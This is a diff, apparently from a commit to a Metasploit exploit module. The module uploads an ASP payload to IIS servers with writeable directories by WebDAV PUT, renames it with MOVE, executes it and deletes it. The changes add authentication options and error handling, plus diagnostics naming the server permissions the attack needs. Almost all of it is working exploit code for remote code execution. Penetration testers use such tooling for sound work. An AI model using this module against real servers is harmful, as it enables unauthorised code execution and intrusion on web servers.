@@ -17,7 +17,11 @@ def initialize
17
17
'Description' => %q{
18
18
This module can be used to execute a payload on IIS servers that
19
19
have world-writeable directories. The payload is uploaded as an ASP
20
- script using a WebDAV PUT request.
20
+ script via a WebDAV PUT request.
21
+
22
+ The target IIS machine must meet these conditions to be considered
23
+ as exploitable: It allows 'Script resource access', Read and Write
24
+ permission, and supports ASP.
21
25
} ,
22
26
'Author' => 'hdm' ,
23
27
'Platform' => 'win' ,
@@ -36,6 +40,10 @@ def initialize
36
40
37
41
register_options (
38
42
[
43
+ # The USERNAME and PASSWORD are registered again to make them more obvious they're
44
+ # configurable.
45
+ OptString . new ( 'USERNAME' , [ false , 'The HTTP username to specify for authentication' , '' ] ) ,
46
+ OptString . new ( 'PASSWORD' , [ false , 'The HTTP password to specify for authentication' , '' ] ) ,
39
47
OptString . new ( 'PATH' , [ true , "The path to attempt to upload" , '/metasploit%RAND%.asp' ] )
40
48
] , self . class )
41
49
end
@@ -53,24 +61,25 @@ def exploit
53
61
#
54
62
print_status ( "Uploading #{ asp . length } bytes to #{ path_tmp } ..." )
55
63
56
- res = send_request_cgi ( {
57
- 'uri' => path_tmp ,
58
- 'method' => 'PUT' ,
59
- 'ctype' => 'application/octet-stream' ,
60
- 'data' => asp ,
61
- } , 20 )
64
+ begin
65
+ res = send_request_cgi ( {
66
+ 'uri' => path_tmp ,
67
+ 'method' => 'PUT' ,
68
+ 'ctype' => 'application/octet-stream' ,
69
+ 'data' => asp ,
70
+ } , 20 )
71
+ rescue Errno ::ECONNRESET => e
72
+ print_error ( "#{ e . message } . It's possible either you set the PATH option wrong, or IIS doesn't allow 'Write' permission." )
73
+ return
74
+ end
62
75
63
76
if ( ! res )
64
- print_error ( "Upload failed on #{ path_tmp } [No Response] " )
77
+ print_error ( "Connection timed out while uploading to #{ path_tmp } " )
65
78
return
66
79
end
67
80
68
81
if ( res . code < 200 or res . code >= 300 )
69
82
print_error ( "Upload failed on #{ path_tmp } [#{ res . code } #{ res . message } ]" )
70
- case res . code
71
- when 401
72
- print_warning ( "Warning: The web site asked for authentication: #{ res . headers [ 'WWW-Authenticate' ] || res . headers [ 'Authentication' ] } " )
73
- end
74
83
return
75
84
end
76
85
@@ -86,17 +95,15 @@ def exploit
86
95
} , 20 )
87
96
88
97
if ( ! res )
89
- print_error ( "Move failed on #{ path_tmp } [No Response] " )
98
+ print_error ( "Connection timed out while moving to #{ path } " )
90
99
return
91
100
end
92
101
93
102
if ( res . code < 200 or res . code >= 300 )
94
103
print_error ( "Move failed on #{ path_tmp } [#{ res . code } #{ res . message } ]" )
95
104
case res . code
96
- when 401
97
- print_warning ( "Warning: The web site asked for authentication: #{ res . headers [ 'WWW-Authenticate' ] || res . headers [ 'Authentication' ] } " )
98
105
when 403
99
- print_warning ( "Warning: The web site may not allow 'Script Source Access' , which is required to upload executable content.")
106
+ print_error ( "IIS possibly does not allow 'Read' permission , which is required to upload executable content.")
100
107
end
101
108
return
102
109
end
@@ -118,6 +125,10 @@ def exploit
118
125
119
126
if ( res . code < 200 or res . code >= 300 )
120
127
print_error ( "Execution failed on #{ path } [#{ res . code } #{ res . message } ]" )
128
+ case res . message
129
+ when 'Object Not Found'
130
+ print_error ( "The MOVE verb failed to rename the file. Possibly IIS doesn't allow 'Script Resource Access'." )
131
+ end
121
132
return
122
133
end
123
134
@@ -138,7 +149,11 @@ def exploit
138
149
end
139
150
140
151
if ( res . code < 200 or res . code >= 300 )
141
- print_error ( "Deletion failed on #{ path } [#{ res . code } #{ res . message } ]" )
152
+ # Changed this to a warning, because red is scary and if this aprt fails,
153
+ # honestly it's not that bad. In most cases this is probably expected anyway
154
+ # because by default we're using IWAM_*, which doesn't give us a lot of
155
+ # freedom to begin with.
156
+ print_warning ( "Deletion failed on #{ path } [#{ res . code } #{ res . message } ]" )
142
157
return
143
158
end
144
159
0 commit comments